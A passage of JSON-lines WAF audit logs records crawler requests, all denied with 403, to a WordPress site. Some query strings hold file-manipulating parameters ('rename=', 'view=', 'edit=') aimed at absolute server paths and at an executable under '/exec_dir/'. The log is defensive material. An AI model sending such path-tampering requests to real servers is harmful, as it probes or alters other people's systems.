WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.257399 +0100","transaction_id":"abPhG1QCd8W53Be-qe99rwAAAgw","remote_address":"216.73.216.152","remote_port":37208,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Flanguage-chooser.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f70ff3576547d4dcb0891a1b8f70b3e9","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2070895"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"f70ff3576547d4dcb0891a1b8f70b3e9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/language-chooser.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":305,"p2":2951,"p3":0,"p4":0,"p5":445,"sr":139,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.343192 +0100","transaction_id":"abPhG_a6lumP0T36rfGIUgAAAFA","remote_address":"216.73.216.152","remote_port":44486,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Ftags.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a57f61a44baf41f9f0f0e28146dc4202","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11441124"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a57f61a44baf41f9f0f0e28146dc4202","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/tags.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":274,"p2":2542,"p3":0,"p4":0,"p5":444,"sr":140,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.434951 +0100","transaction_id":"abPhG1H1YMuwIMtyvU1ezQAAAco","remote_address":"216.73.216.152","remote_port":55172,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fprivacy-tools.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"cc86dba00f205f031446891238553994","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15173991"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"cc86dba00f205f031446891238553994","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/privacy-tools.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":293,"p2":2922,"p3":0,"p4":0,"p5":475,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.524885 +0100","transaction_id":"abPhG1QCd8W53Be-qe99sQAAAhU","remote_address":"216.73.216.152","remote_port":33396,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fexec_dir%2Fresponse HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d6e13ce7e6fe934593469d3674d86523","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12096620"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d6e13ce7e6fe934593469d3674d86523","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/exec_dir/response& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":200,"p2":1690,"p3":0,"p4":0,"p5":302,"sr":94,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.616836 +0100","transaction_id":"abPhG1H1YMuwIMtyvU1ezgAAAcg","remote_address":"216.73.216.152","remote_port":39810,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fcolor-picker.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"99d9eb8305ab96e77505f58bd1281165","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12096623"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"99d9eb8305ab96e77505f58bd1281165","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/color-picker.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":176,"p2":1808,"p3":0,"p4":0,"p5":314,"sr":107,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.705997 +0100","transaction_id":"abPhG1H1YMuwIMtyvU1e0AAAAco","remote_address":"216.73.216.152","remote_port":55172,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Faccordion.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c7ebf6bcfc8c018424009d95732b955d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12096626"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c7ebf6bcfc8c018424009d95732b955d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/accordion.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":194,"p2":1806,"p3":0,"p4":0,"p5":322,"sr":97,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.797985 +0100","transaction_id":"abPhG_a6lumP0T36rfGIVAAAAFA","remote_address":"216.73.216.152","remote_port":44486,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fmedia-gallery.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f0ada52a6d6822b08eb5b19cf5387b40","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12096629"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f0ada52a6d6822b08eb5b19cf5387b40","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/media-gallery.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":266,"p2":2377,"p3":0,"p4":0,"p5":418,"sr":119,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.891141 +0100","transaction_id":"abPhG1QCd8W53Be-qe99swAAAgw","remote_address":"216.73.216.152","remote_port":37208,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fexec_dir%2Fresponse.exe HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6581d556e76bb5070b7231f986da6b5c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12096632"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6581d556e76bb5070b7231f986da6b5c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/exec_dir/response.exe& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":204,"p2":3068,"p3":0,"p4":0,"p5":472,"sr":146,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.981170 +0100","transaction_id":"abPhG_a6lumP0T36rfGIVgAAAFA","remote_address":"216.73.216.152","remote_port":44486,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Flink.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"25fb7fea17b6bbfb862aefdf718173c3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15401242"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"25fb7fea17b6bbfb862aefdf718173c3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/link.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":270,"p2":2480,"p3":0,"p4":0,"p5":436,"sr":122,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:12.078220 +0100","transaction_id":"abPhHFQCd8W53Be-qe99tAAAAgw","remote_address":"216.73.216.152","remote_port":37208,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fpost.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ca32bb7b5f090fa0ad07fdcedd6df873","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15401245"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ca32bb7b5f090fa0ad07fdcedd6df873","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/post.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":212,"p2":1761,"p3":0,"p4":0,"p5":290,"sr":102,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:12.165818 +0100","transaction_id":"abPhHFQCd8W53Be-qe99tQAAAgw","remote_address":"216.73.216.152","remote_port":37208,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fgallery.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1579de09fb346fdfaae173c9a9adde5b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15173994"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1579de09fb346fdfaae173c9a9adde5b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/gallery.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":294,"p2":2653,"p3":0,"p4":0,"p5":445,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:12.257491 +0100","transaction_id":"abPhHFH1YMuwIMtyvU1e0gAAAcw","remote_address":"216.73.216.152","remote_port":44586,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Feditor-expand.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5a53442c34e98359151f0f7cf9f091d0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9078603"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5a53442c34e98359151f0f7cf9f091d0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/editor-expand.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at 